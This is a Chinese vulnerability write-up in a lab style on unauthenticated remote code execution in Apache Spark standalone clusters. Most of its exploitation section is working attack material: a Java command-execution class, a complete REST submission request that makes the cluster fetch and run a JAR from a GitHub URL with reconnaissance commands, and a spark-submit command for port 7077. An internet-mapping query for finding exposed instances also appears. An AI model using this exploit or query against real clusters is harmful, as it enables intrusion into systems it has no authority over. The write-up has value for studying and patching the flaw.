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# Apache Spark create 未授权访问漏洞
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## 漏洞描述
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Apache Spark 是一款集群计算系统，其支持用户向管理节点提交应用，并分发给集群执行。如果管理节点未启动 ACL（访问控制），我们将可以在集群中执行任意代码。
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参考链接：
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- https://weibo.com/ttarticle/p/show?id=2309404187794313453016
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- https://xz.aliyun.com/t/2490
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## 漏洞影响
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Apache Spark 3.1.2, 3.2.1, 3.3.0
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## 网络测绘
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app="APACHE-Spark-Jobs"
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```
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## 环境搭建
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Vulhub 执行如下命令，将以 standalone 模式启动一个 Apache Spark 集群，集群里有一个 master 与一个 slave：
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docker-compose up -d
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```
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环境启动后，访问 `http://your-ip:8080` 即可看到 master 的管理页面，访问 `http://your-ip:8081` 即可看到 slave 的管理页面。
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## 漏洞利用
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该漏洞本质是未授权的用户可以向管理节点提交一个应用，这个应用实际上是恶意代码。
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提交方式有两种：
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1. 利用 REST API
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2. 利用 submissions 网关（集成在 7077 端口中）
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应用可以是 Java 或 Python，就是一个最简单的类，如（参考链接 1）：
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```java
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import java.io.BufferedReader;
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import java.io.InputStreamReader;
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public class Exploit {
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public static void main(String[] args) throws Exception {
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String[] cmds = args[0].split(",");
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for (String cmd : cmds) {
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System.out.println(cmd);
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System.out.println(executeCommand(cmd.trim()));
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System.out.println("==============================================");
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}
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}
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// https://www.mkyong.com/java/how-to-execute-shell-command-from-java/
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private static String executeCommand(String command) {
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StringBuilder output = new StringBuilder();
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try {
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Process p = Runtime.getRuntime().exec(command);
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p.waitFor();
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BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
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String line;
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while ((line = reader.readLine()) != null) {
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output.append(line).append("\n");
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}
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} catch (Exception e) {
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e.printStackTrace();
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}
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return output.toString();
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}
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}
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```
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将其编译成 JAR，放在任意一个 HTTP 或 FTP 上，如 `https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar`。
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### 用 REST API 方式提交应用
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standalone 模式下，master 将在 6066 端口启动一个 HTTP 服务器，我们向这个端口提交 REST 格式的 API：
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POST /v1/submissions/create HTTP/1.1
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Host: your-ip:6066
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Content-Type: application/json
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Connection: close
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Content-Length: 680
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{
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"action": "CreateSubmissionRequest",
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"clientSparkVersion": "2.3.1",
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"appArgs": [
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"whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
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],
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"appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
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"environmentVariables": {
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"SPARK_ENV_LOADED": "1"
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},
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"mainClass": "Exploit",
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"sparkProperties": {
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"spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
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"spark.driver.supervise": "false",
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"spark.app.name": "Exploit",
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"spark.eventLog.enabled": "true",
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"spark.submit.deployMode": "cluster",
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"spark.master": "spark://your-ip:6066"
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}
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}
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```
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其中，`spark.jars` 即是编译好的应用，mainClass 是待运行的类，appArgs 是传给应用的参数。
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返回的包中有 submissionId，然后访问 `http://your-ip:8081/logPage/?driverId={submissionId}&logType=stdout`，即可查看执行结果：
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注意，提交应用是在 master 中，查看结果是在具体执行这个应用的 slave 里（默认 8081 端口）。实战中，由于 slave 可能有多个。
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### 利用 submissions 网关
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如果 6066 端口不能访问，或做了权限控制，我们可以利用 master 的主端口 7077，来提交应用。
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方法是利用 Apache Spark 自带的脚本 `bin/spark-submit`：
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bin/spark-submit --master spark://your-ip:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar id
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```
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如果你指定的 master 参数是 rest 服务器，这个脚本会先尝试使用 rest api 来提交应用；如果发现不是 rest 服务器，则会降级到使用 submission gateway 来提交应用。
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查看结果的方式与前面一致。
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